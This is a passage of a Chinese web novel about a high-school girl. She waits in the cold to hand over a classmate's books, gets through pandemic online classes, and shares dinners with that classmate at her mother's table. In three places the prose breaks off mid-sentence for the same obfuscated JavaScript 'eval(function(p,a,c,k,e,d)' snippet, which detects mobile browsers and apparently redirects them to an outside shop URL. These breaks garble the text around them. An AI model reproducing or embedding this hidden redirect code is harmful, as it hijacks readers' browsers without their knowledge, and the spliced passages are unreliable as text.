期间又有两三拨学生和家长急匆匆赶来,看到紧闭的铁门和里面黑洞洞的教学楼,顿时傻了眼。 有家长焦急地拍打铁门呼喊保安;有家长试图给班主任打电话求通融,在深夜的寒风中为了一摞书,赔着笑脸说着好话;更有家长情绪激动,高声质问保安大爷为何不能通融一下,孩子的重要书本还在里面。 “规定就是规定!九点四十封校,天王老子来了也不行,我们当保安的也没办法啊!” 铁门内,保安大爷还是一副铁面无私的样。 规定面前,所有的恳求与争吵都是徒劳,最终那些家长和学生只能无奈离去。 她理解学校的防疫规定,也理解保安大爷的职责所在,看着那些焦急的面孔,还是觉得又心疼,又闹心。 校门口重新恢复寂静,只剩下风声和角落里蜷缩着的瑟瑟发抖的东篱夏。 她把自己缩得更紧,下巴抵在膝盖上,眼睛望着来车的方向,每一道车灯闪过,她都期待地抬头,又失望地垂下。 实在是太冷了。 不知过了多久,也许是被她执拗的劲儿弄得实在看不下去,又或许只是心肠终究硬不起来,之前铁面无私的保安大爷拿着手电筒巡了过来,光柱晃过她冻得通红的脸和发抖的肩膀。 大爷重重地叹了口气,“你这孩子,咋这犟呢?这都几点了,冻坏了咋整?你家大人也不管管?” 东篱夏抬起头,嘴唇已经有些发僵,“我……我等同学拿书,他快到了……谢谢大爷,我没事。” “没事?我看你都快成冰棍了!”保安大爷气极反笑,左右看了看无人的街道,再次叹了口气,“拉倒吧,别在这儿硬挺着了,进来吧,到门卫室里坐着等!你说你这孩子,真是……跟你同学说,让他快点!” 东篱夏迟钝地反应了一下,才明白保安大叔的意思,连忙道谢,费力地想要站起来,腿却被冻得多少有点麻木,一下子没站稳。 保安大叔见状,上前帮她把两个帆布袋提了起来,“慢点,我帮你拿这个。你自己抱那些,能行不?” “能行,谢谢大爷!” 东篱夏赶紧抱起自己那堆书,跟着保安大爷进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042473|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了保安室的小门,东篱夏坐在硬邦邦的椅子上,冻僵的四肢慢慢恢复知觉,手脚却依旧冰凉,时不时看向窗外。 终于,一辆白色的奥迪轿车停在了校门外不远处的路边,车门打开,一个熟悉的高瘦身影跳了下来,连外套拉链都没拉好,在夜风中呼哧带喘地朝着保安室这边跑。 贺疏放推开保安室的门,带着一身寒气冲进来,第一眼看到的就是坐在椅子上,脸和耳朵依旧通红的东篱夏时。 少年明显愣住了,脚步生生刹住,脸上的焦急瞬间被难以置信取代,“东篱夏?你怎么还在这儿?” 还没等东篱夏回答,旁边正在看监控屏幕的保安大爷没好气地哼了一声,“等你呗!你这来得可真是早啊!学校有规定,保安室不给保管,也不知道是什么金贵东西,这小姑娘怕给你弄丢了,非要在这儿等着,亲自交到你手里。她冻得脸都紫了,我实在看不下去,才破例让她进来暖和暖和!你们这些孩子,真是不省心!” 贺疏放愣了几秒,紧接着几步跨到东篱夏面前,下意识地就想去碰她的手,想确认她到底有多冷,“等了多久?你手怎么……” 大手触到了东篱夏的手背,冰凉的触感让贺疏放心头一颤,直接攥住东篱夏的手,本能想用自己的手给她捂热。 “哎哎哎!干什么呢你们!”保安大爷猛地转回头,瞪着眼睛,声音提高了八度,“小男孩小女孩的,注意点影响!这还有监控呢!再动手动脚,我告诉你们老师去!” 贺疏放这才意识到自己干了什么失礼的事,迅速缩回手,耳尖腾地红了,脸上满是后知后觉的尴尬。 东篱夏也吓了一跳,本就冻得通红的脸更是烫得快要烧起来,不知是冷的还是羞的,连忙把手缩回袖子,嘴硬道,“我真没事,不冷。” 气氛一时有些凝滞,贺疏放目光落到旁边那个鼓鼓囊囊的帆布袋上,转移话题道,“这袋子是你带的?” “不是,”东篱夏也缓了口气,“是周益荣给的,他多带了一个。” “周益荣?” 贺疏放明显愣了一下,但眼下显然不是细问的时候。他没再多说,先背起了地上东篱夏的书包,又弯下腰,一把拎起装满了自己家当的帆布袋,然后不由分说地把她那个同样不轻的袋子挎到自己另一只胳膊上,最后还想把地上那几本他自己的大厚教材也接过来。 “哎,不用,你拿不了这老些……” 东篱夏连连阻拦,她很难想象贺疏放的小身板怎么能同时负担这么多重量。 “你别动了,冻了那么久,好好歇着吧。”贺疏放用胳膊肘轻轻挡开了她的手,稳稳地将那摞书也抱在了怀里。 东篱夏看着他被各种袋子和书包淹没的身影,心里某个地方轻轻动了一下。 两人再三向虽然嘴上不饶人、但终究心软放行的保安大爷道了谢,走出了保安室,深夜的寒气再次扑面而来。 两个人并肩走在路灯下,贺疏放侧过头,声音格外郑重,“东篱夏,真的太谢谢你了,我完全没想到保安不让放,更没想到你会在这么冷的天等这么久……我……” 路灯下的少年似乎有些词穷。 “没事,我应该的。”东篱夏摇摇头,“换了是霁月,是甄盼,她们有很重要的东西落下了,我也会等的。” 贺疏放沉默了几秒,然后,她听见他很低很郑重地说,“你真的是一个很好很好的人。” 东篱夏抿了抿嘴,没再说话,只是摸了摸自己滚烫的脸颊,感觉刚刚退下去的热度又有点爬上来。 走到那辆奥迪车旁,贺疏放拉开车门,先对里面说了句,“爸,妈,东篱夏为了等我的书,在外面冻了好久了。” 然后又转头对东篱夏说,“东西太多,天又晚,你一个人拿回去太费劲了,反正顺路,我们送你回去吧。” 东篱夏确实又累又冷,看着那堆书山,实在没力气拒绝顺风车,就恭敬不如从命了,“麻烦叔叔阿姨了。” 贺疏放先把两个人的家当都塞进后备箱,然后拉开后座门让东篱夏上车。 车里开着暖气,贺大大和周阿姨齐齐转过头来,满脸关切。 周阿姨率先开口,“辛苦篱夏了!在外面等这么久,冻坏了吧?老贺,空调开大点,快让孩子暖和暖和!” 贺大大也连声道谢,“太谢谢你了篱夏,疏放这小子,尽添麻烦!这大冷天的,让你受罪了。” 车子平稳地驶向小区,路上贺家父母一直在嘘寒问暖,夸东篱夏懂事善良、有情有义。她被夸得实在有些不好意思,只是小声应着。 到了楼下,贺大大不由分说地帮东篱夏把她的书包和大袋子都拎了出来,一直送到家门口,周阿姨还不住叮嘱,“快回去喝点热水,泡泡脚,千万别感冒了!今天真是太谢谢你了!” 东篱夏连连道谢,打开家门,徐瑞敏女士早就等急了,一看女儿脸和手还残留着冻过的红痕,立刻心疼得不行,一边帮她拿东西,一边连珠炮似的问,“怎么弄成这样?学校保安就这么让学生在外面冻着?太不像话了!我非得……” “妈,妈,”东篱夏连忙打断妈妈的怒火,“不怪保安大爷,学校有学校的规定,不让放东西。是我自己愿意等的。后来也是他心软,让我进保安室暖和了一会儿。” 徐瑞敏给女儿倒了杯热水,看着她小口小口地喝,又是心疼又是无奈,“你这孩子啊,心也太实了。帮人是好事,但也得顾着自己啊。” 热气氤氲,东篱夏抬起头,对妈妈笑了笑,“妈,我今天这么干,不是为了得谁的夸奖,也不图贺大大家回报,甚至也没必要为了某个人。” “只是因为,我觉得这样做是对的。” 徐瑞敏看着女儿在灯光下格外清澈的眼睛,一时竟不知该再说什么,只是伸手摸了摸她还有些凉的脸颊。 “好孩子。” 35. 下有对策 网课时代就这样猝不及防地到来。 在线上的期限还仅仅被乐观估算为一周的时候,这七天和又放了一个十一小长假没什么两样。 学校要求每个学生网课都要开视频,视频是开了,本人却往往是不出镜的。摄像头慢悠悠打开,画面里常常只有一片天花板和一个头顶,要不就是画质模糊到不成人形、雌雄难辨。 老师点名提问,麦克风那头经常是漫长的沉默,叉掉了一系列网页后才打开腾x会议的界面,全然不知老师所问何事,还得装出一副无奈的样子,搪塞者网卡了没听清,或是压根开不开麦。 大多数人的父母白天都要正常上班,留在家中的孩子一没有学校管,二没有家长看,自然就可以无拘无束解放天性,毕竟天高皇帝远。 花样百出,真假难辨。 到底听没听、学没学,学生、老师、家长三方都心知肚明。 大家都想着,毕竟没几天,挺一挺就过去了。 一时没人管的同学趁着网课撒了欢,一直没人管的东篱夏倒是一切如常。 趁着各科老师还在适应,布置的任务量不算饱和,她终于有时间回过头去系统性地补听新报名的数学网课。 一些过去根本不知道的二级结论,在了解了其大致来龙去脉后,应用起来也多了点底气,做题时思路明显流畅了些。就连以往需要苦思冥想许久的压轴题,现在至少能看出些门道,尝试着拆解几步。 直到第二周,江城的病例数字并未如所有人祈祷的一样回落,反而仍旧零星地爆发,复课遥遥无期。 江大附中的老师和家长们终于意识到,不能这么把学生散养下去了。 那些全市前一千名考进江大附中的学生自然也清楚,再不学,就真完蛋了。 于是教务处搞出了一份最新的网课常态化视频规范,由各位老师转发到班级群—— 给大家一个周末的时间,每位学生都要准备好外置摄像头,画面必须清晰,能够显示正脸、双手以及电脑屏幕,沈婕和各位学年主任将随时巡查,不符合要求者随时通报。 规定一出,“二班不一般”自然哀鸿遍野。 柳鸿特意在群里艾特了周益荣,由他“率先垂范”,发了个标准的外置摄像头视角截屏,要求大家“向益荣同学学习”。 所有人都彻底意识到,他们的好日子到头了。 尽管万般不情愿,到了上课时候一个个视频窗口还是会按时亮起来。 英语课,东篱夏悄悄把台灯点开,灯光照到自己的电脑屏幕上,从外置摄像头的视角来看,她电脑屏幕上只有一块模糊的白影。动了小动作后,她就开始饶有兴味地挨个端详视频列表里同学们的窗口。 东篱夏发现自己差点忘了,这世间还有一条真理,叫做上有政策下有对策。 视线扫过贺疏放的小屏,太阳怎么打西边出来了,贺疏放开始认真记英语笔记了?东篱夏放大一看,贺疏放摄像头的画质烂得恰到好处,不点进全屏谁也发现不了,大哥面前哪是什么英语笔记,分明是物理必刷题! 她又往下扒拉了几个,正好找到了虞霁月的视频框。大小姐不知道从哪找到了个空书架,摆在了自己的斜后方,摄像头就那样高高摆在书架上,倒也是按照学校的要求,有侧脸,有手,有屏幕。 只不过还有身体侧向一边形成的黄金死角。 想都不用想,就知道那死角里放的必然是大小姐的手机了。 东篱夏笑笑,又往下滑了几个,看到了盛群瑛的摄像头。盛群瑛的摄像头里只有一个背影,后背挡住了电脑屏幕,没有桌面也没有表情。 按理来说应当是被通报的不合格视角才对。 可盛群瑛毕竟是盛群瑛。 东篱夏看了一圈,一片八仙过海各显神通中,除了起垂范作用的周益荣,也就只有两个人的摄像头规规矩矩地照出了所有要素——一个是何建安,一个是洛宓。 贺疏放说过一句挺浪漫又有点好笑的话,“何建安天生就是物理的儿子。” 不过他好像一直更想让何建安当自己的儿子。 何建安的摄像头诚实地框出了他书桌一角,手机就放在屏幕的视线内,他却从来不碰。不过对这种大神来说,课他倒也不听,即使在Christine的课上,他也只光明正大地做自己的题或是看竞赛书,不藏,不掖,不怕被看见。 至于洛宓,东篱夏细细回忆了一下,二班的老师们其实很少主动提问她,即使偶尔抽签抽到了,也总是挑那些最基础的概念问题来问。 东篱夏仔细观察着,洛宓好像听每一节课都极其认真,视频也没有死角,更没什么多余的小动作,Christine讲重点她也跟着记,Christine提问题时,也会皱着眉头细细地想。 她静静地看着洛宓的摄像头出神,心里某一处忽然被一种柔软的力量击中了。 在这个天赋为王的世界里,洛宓身上似乎有某种东西,比天才少女的游刃有余更让她动容。 算是一种明知不可而为之的孤勇么?她默默地想。 就这样一日复一日,网课似乎没个头。 任谁成天自己在家对着电脑都会发疯的,微信群就成了大多数同学聊天的主要阵地,“二班不一般”的消息几分钟不看就会刷屏,吐槽天吐槽地,吐槽全世界。 狡兔尚且三窟,江大附中的尖子生们自然也不止微信群一处根据地。 如果说腾讯会议对不想上课的学生来说是最恶毒的发明的话,那么私聊就必然是“最恨的世界里最爱的人”。 东篱夏已经发现了,她最不喜欢用私聊的朋友是虞霁月,最喜欢用私聊的朋友是甄盼。 虞霁月经常上着上着课就直接在微信上轰炸东篱夏,动不动就给她推无限流小说再配一堆点评。 东篱夏看着不断闪烁的电脑微信,只能趁着老师换PPT的间隙回道,“大师,我在上课啊!” 大师嚣张地回复道—— “我知道啊,咱俩不一个班的吗,我也在啊。” 东篱夏无话可说。 甄盼则完全不一样,她父母一直管她管得很严,为了确保她网课期间心无旁骛,每天上班前都要把她的手机带走,晚上回家才给她上传作业。 东篱夏也很心疼她,毕竟甄盼是那样爱说话的一个人,如今因为网课,全部的世界都被压缩在了小小的腾讯会议界面里。 甄盼也不止一次给东篱夏发私聊。 “我不想上网课,我想回学校,我想见人,我想跟人说话!!!” “夏夏,我真的要憋死了啊啊啊啊啊!” 以及更实际一点的内容。 “啥啥啥啥啥群里让打印啥了?我爸我妈没告诉我啊? “付观亭要是提问我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047902|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定要私信告诉我答案啊!” “快快快快马上要提问到我了,这一篇都选啥?” 东篱夏秉持着能帮就帮的原则,只要甄盼的私聊窗口一跳出来,不管自己正在做什么,她都会立刻分神去帮甄盼找答案。 “夏夏,我爱死你了。” 东篱夏看着私聊最新弹出的消息,不自觉地笑了笑。 甄盼依赖她,她也习惯了被依赖,真好。 倒也不是从来没有败露的时候。 柳鸿大概是所有老师里最适应网课的一个,慢条斯理的语调透过电脑屏幕传来,催眠效果更甚从前,讲着讲着练习册上的有丝分裂题,突然停了一下,“甄盼,你来说说,在植物细胞有丝分裂的末期,导致细胞质分裂的结构变化是?” 甄盼支支吾吾着,东篱就立刻在私聊打了一行字发送过去:纺锤体消失细胞板形成 甄盼点开私聊窗口,刚刚张口要念,柳鸿的声音就再次慢悠悠地响起,多了几分调侃的意味,“哎,我说,提问甄盼呢,这东篱夏的手在键盘上敲什么呢?敲得还挺忙。怎么,东篱夏敲一句,甄盼答一句?咱们这会议,还有同声传译功能?” 东篱夏的脸一下子烧了起来,视频里好几个同学忍不住笑了起来。 “行了,自己好好背啊。” 柳鸿倒是点到为止,留下一句就继续上课了,好在甄盼心大,下节课私聊仍旧照发不误。 这件事情虽然对甄盼没啥影响,倒是给贺疏放指了一条明路。 语文课付观亭最喜欢的一个节目就是课前提问,基本都是些基础的问题,要不就是课后留下背的成语释义,要不就是文言实词。 付观亭的提问往往自有其目标,语文尖子生东篱夏自然不在其列,倒数第三名贺疏放可就没那么好命了,成了付观亭每日必点的幸运儿。 语文课课前,东篱夏又收到一条私聊消息,她原以为又是甄盼要问什么,结果来者却是贺疏放。 “女神行行好,普度完了甄盼,也普度普度咱们呗。” 东篱夏:? 故事就没有了后续。 真到了语文课,付观亭问题一出来,东篱夏到底还是于心不忍,看不得贺疏放答不上被大群通报批评,只好迅速在私聊窗口里噼里啪啦敲下答案,点了发送键。 一两秒后,她听见了贺疏放一字不差地复述了出来。 贺疏放答对,付观亭便放过他,继续拷问下一个目标,东篱夏则在屏幕这头悄悄松口气,多少有点刺激。 一连三天都是如此,她发什么,他念什么,全盘接收,百分百信任,从不质疑,让她在无奈之余又莫名觉得有点受用。 她有时也会多回他一句:你得自己好好背啊! “一定,一定。” 东篱夏只当他随口一说。 没想到第四天,付观亭再提问,她刚要抬手敲答案,贺疏放就直接答了出来,虽然不算特别精辟,但至少是背过的。 东篱夏的第一反应是—— 怎么,换人问了? 她装作若无其事地给他发私聊:菩萨还挺多啊,今天就不用我了? “诶诶诶别冤枉我,我可就供得起你一尊女神。渡人不如自渡嘛,我还不能洗心革面好好语文了?【doge】” 什么啊。 她发了个白眼的表情,又低下头去窃窃地笑。 36. 蹭外卖 网课刚过了两周,东篱夏就意识到有点不对劲了。 自己的早午晚饭疑似进入了某种循环。 早饭三巨头轮番上阵,除了速冻饺子和速冻馄饨就是速冻汤圆,唯一的区别就是汤圆有黑芝麻和花生两种馅。 午饭和晚饭更要命,毕竟早饭的冷冻速食不需要什么加工工序,口味至少能有个保证。 徐瑞敏女士有几道拿手好菜——鸡蛋炒柿子、炖茄子、咖喱鸡肉、柿子炖牛肉大乱炖。 问题在于,没有第五道了。 终于在第二周的某个中午,面对咸口的鸡蛋炒柿子,东篱夏忍不住了,“妈妈,咱们午饭能不能稍微换点别的菜?感觉这几天菜都差不多呢?” 话一出口她就后悔了。 徐瑞敏女士当时只轻轻“嗯”了一声,没想到那天晚上等待东篱夏的是一份冒菜外卖。 东篱夏有点内疚,实在觉得自己中午太不懂事,妈妈接的数据分析零活也不轻松,还要变着法给她弄吃的,自己却一直在这挑三拣四。 愧疚感在连续吃了四顿外卖后演变为了绝望。 外卖的花样是有了,黄焖鸡、番茄鱼、寿司、披萨…… 可怕的是,她发现妈妈点外卖已经点出了一种破罐子破摔的架势,完全不问她想吃什么,自己看着APP首页推荐随机下单。 直到第四顿给东篱夏吃拉肚子了。 “妈,”东篱夏捂着肚子问,“咱能不能别老吃外卖了?还是自己做饭吧,健康点。” 徐瑞敏女士从电脑屏幕上抬起头来,看着女儿狼狈又委屈的样子,沉默了几秒钟。 那几秒钟长得让东篱夏心慌。 “其实妈一直特别特别讨厌做饭。” “在北京的时候公司有食堂,周末的饭都是你爸做。回来陪你,想着总得让你吃上点家里做的健康饭菜,我才硬着头皮学了这么几个。” “翻来覆去做那些菜,不是我不想换,是我只会这几个。我也知道,就连这几个也不咋好吃。” 她忽然想起了初中时候写过太多次的记叙文。 那些关于父爱母爱的命题作文,老师说她写得真挚,却总是缺乏打动人的细节。 因为曾经她笔下的一切都来自作文选。 她去背深夜送牛奶,背雨天送伞,然后笨拙地套用在自己远在北京的爸妈身上。 直到这一刻,她想起了很多东西。 想起来前几天中午她跟妈妈说饭菜太重复妈妈“嗯”的那一声,想起来每次把菜端上桌妈妈眼神里小心翼翼的期待,想起妈妈在听到她含糊的“还行”后的期待又是如何黯淡下去。 细节永远不是作文选里那些放之四海而皆准的东西。 爱也不总是游刃有余的付出。 爱是那些具体的、带着自己的喜好和厌恶的、会疲惫会焦虑的人在面对另一份不可推卸的责任时做出的选择。 她忘了问妈妈,你喜欢做饭吗?你会不会也觉得累? “对不起妈妈,我之前不知道……” “傻孩子,这有什么对不起的。” 妈妈的语气倒是很松快,“这样吧,外卖确实不能老吃,我再去网上学几个,或者之后看看小区附近有没有靠谱的家常菜馆,偶尔去打包两个菜回来。” “得了,上晚自习了,快回去学习吧,” 就这样了? 就这样了。 没想到的是,周日上午,徐瑞敏女士一边拆着快递一边跟她说,“对了夏夏,你贺大大和周阿姨下周要一起出差半个月,估计得跑好几个地方。” 说着,她就抖开快递里的睡衣,在东篱夏身前一顿比划,“他们不放心疏放一个人吃饭老点外卖,商量着这半个月疏放的午饭和晚饭就来咱们家吃。” 东篱夏正倒着躺在沙发里背文言文,听了这话立刻收起了随意搭在沙发靠背上的两条腿,转了一百八十度。 她又有机会见到贺疏放了吗? 但一贯理智的东篱夏很快按下了不合时宜的雀跃。 来她们家吃,吃啥啊? 不也是吃外卖吗? 和贺疏放自己在家点外卖有本质区别吗? “妈,”东篱夏坐正了身子,“人家来咱们家,咱也没什么好招待的啊,不还是外卖吗?” 徐瑞敏女士白了她一眼,“你呀,就是不会为人处世。就算真是点外卖,那意义能一样吗?这是人情往来,是咱们主动照应。你贺大大周阿姨开口了,我能拒绝吗? “再说了,三个人吃饭,总比咱娘俩大眼瞪小眼热闹点。” 东篱夏哑口无言。 周一中午,她下了课就趴在沙发上装作背单词,眼睛时不时瞟向门口,没一会儿,就有人来敲门。 她立刻从沙发上爬起来,悄悄瞄了一眼厨房里的妈妈,强装镇定,慢悠悠走过去开门。 一开门便发现贺疏放站在门外,手里还提着两个印着某高端生鲜超市Logo的大袋子,少年穿着干净的白T裇和家居裤,见到开门的东篱夏,眉眼一弯,露出自己那副随意的笑。 他俯下身,用只有两个人能听到的声音轻轻对她说, “好久不见。” 东篱夏的脸忽然烧了起来。 “阿姨好!”贺疏放立刻直起了身,朗声道,“我爸妈让我带点东西过来,辛苦阿姨,给您添麻烦了!” 徐瑞敏闻声从厨房里赶出来,连连责怪贺疏放太客气了,待到看清袋子里的内容,客套的笑容差点没挂住——一眼扫去就看见了一大盒阳光玫瑰,一大盒不知道几个J的车厘子,甚至还有一盒冰鲜三文鱼腩。 “这孩子,你爸妈真是太破费了!”徐瑞敏女士手足无措,一边帮忙把东西往冰箱里归置,一边念叨,“就添双筷子的事儿,太见外了!” 贺疏放只是一味地笑,“他们觉得我老来打扰,过意不去,阿姨您别有负担,随便处理就行。” 午饭时候徐瑞敏女士打包了楼下餐馆的饭菜,问贺疏放能不能吃得惯,贺疏放相当给面子,赞不绝口,“阿姨手艺真好!” 徐瑞敏女士乐了,“哪啊,这都楼下打包的。不过阿姨手艺也还行,等晚上啊,阿姨给你露一手!” 东篱夏从饭菜里疑惑地抬起头,看向徐瑞敏女士。 贺疏放倒是有礼貌,吃完也不忘一起收拾桌子,临走时连连道谢,还主动提出把吃完的餐盒帮忙带到楼下去扔了。 贺疏放一走,徐瑞敏就又打开了冰箱门,对着塞满水果和三文鱼鱼的冰箱发了会儿呆,紧接着把东篱夏拉到一边,“夏夏,你看人家拿这么多好东西来,咱们就给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051662|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疏放吃外卖,这实在说不过去啊。” 东篱夏心里升起一丝渺茫的希望—— 莫非这么一套礼尚往来的规矩终于能激发徐瑞敏女士的厨艺潜能了? 她晚上能沾上贺疏放他们家的光,蹭顿好的了? 事实证明,她远远低估了成年人的变通智慧。 傍晚贺疏放过来前,东篱夏在屋里就听见徐瑞敏女士那边叮叮咣咣,出门一看,发现妈妈竟然点了满满一桌子外卖,有溜肉段,软炸虾仁,又配了个地三鲜。 说好的要露一手呢? 让东篱夏震撼的是,徐瑞敏女士拆完外卖后,就这么硬生生把里面的食物倒进自己家的盘子里,最后把空的外卖盒迅速塞进垃圾袋最底层毁尸灭迹。 “妈,这是……”东篱夏感觉自己的认知被刷新了。 “嘘!”徐瑞敏回头,瞪了东篱夏一眼,“到时候可别瞎说,不然让人家孩子觉得咱们天天用塑料盒对付,多不好。” 东篱夏:“……” 您这掩耳盗铃的功夫也是没谁了。 晚餐桌上,菜肴色香味俱全地登场,贺疏放敲门进来,情商高得令人发指。 “阿姨,这熘肉段这么香,咸淡正好,您手艺真好!” 江城的招牌菜,哪个饭店做都很难不好。 “地三鲜土豆烂活,茄子也软和,特别下饭!太谢谢阿姨了!” 谢厨师去吧,东篱夏心里想。 “阿姨,这软炸虾仁个头真大!” 没词硬夸啊。 东篱夏有点无语地抬头看了贺疏放一眼,贺疏放已经沉浸在了自己的语言艺术中,无暇他顾。 徐瑞敏女士倒是相当受用,差点真以为自己颠了一下午大勺。 只有东篱夏一个人默默嚼着菜,心情复杂。 饭后,贺疏放更是主动站起来收拾碗筷,“阿姨,我来刷吧!” 徐瑞敏哪肯,“不用不用!你这孩子别跟我客气,快回去学习,这点活儿阿姨来就行!” “没事的阿姨,我活动一下,就当消食了。”贺疏放笑得诚恳,手脚麻利,已经利落地摞起了盘子往水池去,最终以徐瑞敏女士的妥协告终。 徐瑞敏女士站在客厅门边,看着贺疏放熟练地挤洗洁精刷碗刷盘子,忍不住笑着感慨:“疏放这孩子真懂事,以后成家了,肯定也是个会疼人的小暖男。” 厨房的水流声哗哗。正在擦盘子的贺疏放动作轻轻顿了一下。 几乎同时,坐在客厅沙发上假装背小红本的东篱夏下意识地抬起了头。 贺疏放恰好侧身,将洗好的一个盘子往橱柜里放,两个人的目光隔着不到两米的距离,毫无预兆地撞在了一起。 视线相接短短一瞬,贺疏放迅速垂下眼,转身继续去拿下一个盘子,耳尖却以肉眼可见的速度漫上了一层薄红。 徐瑞敏女士倒是毫无所觉,还在那儿煞有介事地教育东篱夏,“我跟你说啊,你以后找对象,千万不能找个吃完饭把碗一扔啥也不干的,知道吧?就得找小贺这样眼里有活的,听着没?” “好好好,你就放心吧。” 她连忙低下头,感觉自己的脸颊和耳朵都在发烫,心脏在胸腔里不听话地怦怦直跳。 想什么呢,东篱夏,妈妈只是在开个玩笑啊。 37. 公主请进会议室 一连几天,贺疏放雷打不动地来蹭饭,徐瑞敏女士的厨艺在压力下似乎也多少得到了一点锤炼,除了外卖以外,还学会了炖豆角和炒芹菜,以及天才地开创了咖喱鸡肉饭的衍生品——咖喱牛肉、咖喱大虾和咖喱猪扒。 东篱夏实在觉得,贺疏放那双总是带着笑的眼睛,八成早就看穿了到底哪顿是外卖,哪顿是她妈妈亲手做的。 毕竟,徐女士偶尔真正下厨的水平,和那些过分美味的“家常菜”之间,隔着可不光一条东非大裂谷,还有一道马里亚纳海沟呢。 但贺疏放的情商实在是修炼得足够,每次坚持捧场,夸赞真挚得让徐瑞敏女士深信自己颇有烹饪天赋。 没几天,贺疏放又提来一个礼盒,里面是铁盒装的丹麦皇冠曲奇和几盒日本的白色恋人饼干,说是周阿姨和贺大大出差寄回来的,谢谢她们一家的照顾。 笑容干净,理由充分。 徐瑞敏女士又是一通“太客气了”以及“这怎么好意思”的连招,眼角眉梢的欢喜却藏不住。 网课的日子就这样一天天过,东篱夏凭借着一股狠劲和不错的脑力,基本战胜了函数与三角函数的轮番轰炸,必刷题的大多数题都能做个八九不离十。 然而她仍旧未能战胜物理。 牛顿,东篱夏一生之敌。 受力分析对她而言实在太过邪恶,江大附中自行出品的物理学案,一页只有八道题,她往往需要耗费将近一个小时去啃,结果往往也异常惨烈,能错四五道。 这还没玩,她还得再用一个小时,去消化解析里那些云山雾罩的答案,试图理解斜面上的小木块到底为什么非得那么加速,连接体之间拉力的分配又到底为什么总是那么反直觉。 她恨不得自己去当小球,往那一停就开始振臂仰天长啸—— 来个小木块,撞死我吧! 她又不是肯认输的性格,弄不明白题连觉都睡不踏实,熬夜自然就成了常态,一连几天都是一点半才睡,第二天起来脑子昏昏沉沉,连午饭时对着贺疏放都蔫蔫的。 直到东篱夏几乎要把脑袋埋到饭碗里去,徐瑞敏女士终于看不下去了,徐瑞敏女士关切地问,“夏夏,这两天怎么没精打采的?” 贺疏放也停了筷子看过来。 东篱夏心里一紧。 她忽然很讨厌这种马上要被看穿的感觉,哪怕只是微不足道的疲惫,尤其是在贺疏放面前。 她开始对他不坦诚了。 心里悄然滋长的喜欢,连自己都不愿深究。可随着喜欢愈演愈烈,她非但没有变得柔软顺从,骨子里最深处的骄傲反而被磨得更加锋利。 她永远不是那种甘愿躲在强者羽翼下仰望的小孩。 她为人处世温吞、随和,甚至有点软弱,可骨子里却比任何人都固执都骄傲——她到底是想证明自己的。 证明她配得上中考时命运意外砸下的王冠,证明她不需要任何人的帮助也能稳稳地站在这里。 在贺疏放这里,骄傲里面又掺杂了更复杂的东西。 她喜欢看他笑,喜欢他讲化学时眼中的光,甚至偷偷享受他落在自己身上的关切和心疼,可越是喜欢,她就越无法容忍自己在他面前流露出任何弱势来。 说到底,她讨厌对喜欢的人仰着头,等着对方俯身来拯救自己的感觉。 “没什么事。”她听见自己的声音响起,多少有点欲盖弥彰的味道,甚至不敢抬眼去看贺疏放的表情,“可能就是没睡太稳。” 话音落下的瞬间,她就后悔了。 演得真假,东篱夏。 怎么一直这么拧巴,怎么一点也不坦荡。 贺疏放信不信她无从得知,徐瑞敏女士显然是信了,“这可咋办,要是过两天还睡不好,你就去妈妈那屋睡,我那屋窗户挨着院里,肯定比临街的安静些。” “没事,可能过两天就好了。” 她心里清楚,今夜恐怕又要与该死的小球和斜面鏖战至深夜了。 没想到就在当天晚饭之后,贺疏放突然说自己要回家取一样东西,紧接着就拿着自己的数学学案来了,“阿姨,我数学这块学得不太明白,有几道题想不通,能问问篱夏吗?” 徐瑞敏女士举双手支持,“行啊!你们快研究,两个人研究肯定比一个人强。” 东篱夏精神微微一振,看着贺疏放圈起来的题目,回房间取来笔就开始给他画图,“极值点偏移这块确实比较难,这几道题都是一个路子,你看明白一个,剩下的都是变式了。” 她讲得清晰,贺疏放也聪明,理解得也快,不到五分钟就结束了战斗。 东篱夏忽然意识到这是一个绝佳的机会,“等会儿,你先别走,我也有题想问你。” 说完,她立刻回房间取回了物理学案,指着一个弹簧问题就问贺疏放,“这道题,我的受力分析总和答案不一样。” 贺疏放皱着眉头看了半天,恍然大悟,开始在她的练习册上画受力情况,东篱夏本身也聪明,只是陷在了怪圈里,三两句话一点拨,便云开雾散。 她又拿笔去指下一道,“其实这个我也没太看明白。” 这题确实难,贺疏放虽然有点思路,两人讨论了半天,却总是无法完美匹配该死的标准答案, “诶,我去问问老何,他肯定会。” 东篱夏差点忘了,贺疏放还有何建安这个大神当外援。 